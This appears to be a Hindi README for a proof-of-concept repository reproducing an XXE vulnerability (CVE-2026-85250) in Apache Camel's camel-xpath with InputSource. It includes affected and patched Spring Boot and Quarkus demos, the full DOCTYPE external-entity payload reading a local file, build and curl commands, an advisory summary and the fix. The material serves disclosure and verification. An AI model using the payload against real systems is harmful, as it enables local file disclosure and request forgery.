
Apache Camel camel-xpath (documentType=InputSource) में CVE-2026-85250 के लिए रन करने योग्य XXE प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें Spring Boot और Quarkus के प्रभावित बनाम ठीक किए गए डेमो शामिल हैं।
documentType=InputSource)Apache Camel भेद्यता के लिए चलाने योग्य प्रमाण-अवधारणा पुनरुत्पादक, जिसमें documentType को
InputSource पर सेट करने पर, XPathBuilder ने पेलोड को सीधे javax.xml.xpath को सौंप दिया, जो JDK डिफ़ॉल्ट का
उपयोग करके अपना स्वयं का DocumentBuilder बनाता है। इस प्रकार Camel के डिफ़ॉल्ट दस्तावेज़ प्रकार पर लागू किया गया
हार्डनिंग बायपास हो गया: एक DOCTYPE घोषणा जिसे डिफ़ॉल्ट प्रकार पर अस्वीकार किया जाता है, यहाँ स्वीकार कर ली गई, और
उसके द्वारा घोषित बाह्य इकाई को मूल्यांकित दस्तावेज़ में हल और विस्तारित कर दिया गया। एक बाह्य प्रेषक जिसका XML
ऐसे व्यंजक तक पहुँचता है, वह Camel प्रक्रिया द्वारा पठनीय फ़ाइलों को पढ़ सकता है और प्रक्रिया को उन होस्ट्स के लिए
अनुरोध जारी करने के लिए प्रेरित कर सकता है जिनके नाम वह बताता है।
| रनटाइम | निर्देशिका | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (प्रभावित; ठीक किया गया 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, प्रभावित; ठीक किया गया नियंत्रण CQ 3.40.0 / Camel 4.22.1) |
दोनों मॉड्यूल प्रभावित और ठीक किए गए व्यवहार को प्रदर्शित करते हैं।
डिस्क पर एक सौम्य "गुप्त" फ़ाइल रखी गई है (cve-2026-85250-secret.txt, जिसमें एक मार्कर स्ट्रिंग है), जो Camel
प्रक्रिया द्वारा पठनीय स्थानीय फ़ाइल का प्रतिनिधित्व करती है। हमलावर XML भेजता है — एक InputStream के रूप में, जो
InputSource में परिवर्तित होता है — जिसमें एक DOCTYPE होता है जिसकी बाह्य इकाई उस फ़ाइल को संदर्भित करती है:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
यह रूट बॉडी पर xpath("/test/text()").documentType(InputSource.class) का मूल्यांकन करता है।
InputSource पार्सर (JDK डिफ़ॉल्ट) बाहरी एंटिटी को हल करता है, इसलिए XPath परिणाम फ़ाइल की सामग्री होता है — मार्कर का बहिर्गमन हो जाता है।DOCTYPE को कठोर पार्सर द्वारा अस्वीकार कर दिया जाता है (वही जिसका उपयोग डिफ़ॉल्ट दस्तावेज़ प्रकार करता है), इसलिए किसी भी एंटिटी के हल होने से पहले मूल्यांकन विफल हो जाता है।# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| गुण | मान |
|---|---|
| घटक | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (XML बाह्य इकाई संदर्भ का अनुचित प्रतिबंध) |
| गंभीरता | उच्च |
| आक्रमण वेक्टर | documentType=InputSource के साथ कॉन्फ़िगर किए गए XPath व्यंजक द्वारा मूल्यांकित अविश्वसनीय XML |
| प्रभाव | XXE: बाह्य इकाइयों के माध्यम से स्थानीय फ़ाइल प्रकटीकरण और सर्वर-साइड अनुरोध जालसाजी |
| प्रभावित संस्करण | 4.0.0 से 4.18.5 से पहले तक, 4.19.0 से 4.22.1 से पहले तक |
| ठीक किए गए संस्करण | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| श्रेय | Claude Security Scan Tool |
सलाह: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder अब एक InputSource (और SAXSource) को
toHardenedDocument() के माध्यम से मार्गित करता है, जो इसे XPath इंजन को सौंपने से पहले उसी हार्डन किए गए
DocumentBuilderFactory का उपयोग करके एक org.w3c.dom.Document में परिवर्तित करता है जिसका उपयोग डिफ़ॉल्ट दस्तावेज़ प्रकार पहले से करता है — इसलिए दोनों
दस्तावेज़ प्रकार एक ही कॉन्फ़िगरेशन के साथ पार्स किए जाते हैं और DOCTYPE को अस्वीकार कर दिया जाता है। ध्यान दें कि InputSource प्रकार अब डिफ़ॉल्ट प्रकार के प्रलेखित एस्केप हैच को भी साझा करता है: वही DocumentBuilderFactory सिस्टम प्रॉपर्टीज़ जो डिफ़ॉल्ट प्रकार को शिथिल करती हैं, इस प्रकार को भी शिथिल करती हैं।
अविश्वसनीय XML पर मूल्यांकित व्यंजकों पर documentType=InputSource का उपयोग न करें; डिफ़ॉल्ट दस्तावेज़ प्रकार पहले से ही
DOCTYPE को अस्वीकार करता है।
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को भेद्यता को समझने, यह सत्यापित करने में मदद करने के लिए कि क्या वे प्रभावित हैं, और पुष्टि करने के लिए कि अपग्रेड करने से यह हल हो जाता है। "secret" फ़ाइल एक निष्क्रिय, रोपित मार्कर है। इस सामग्री का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।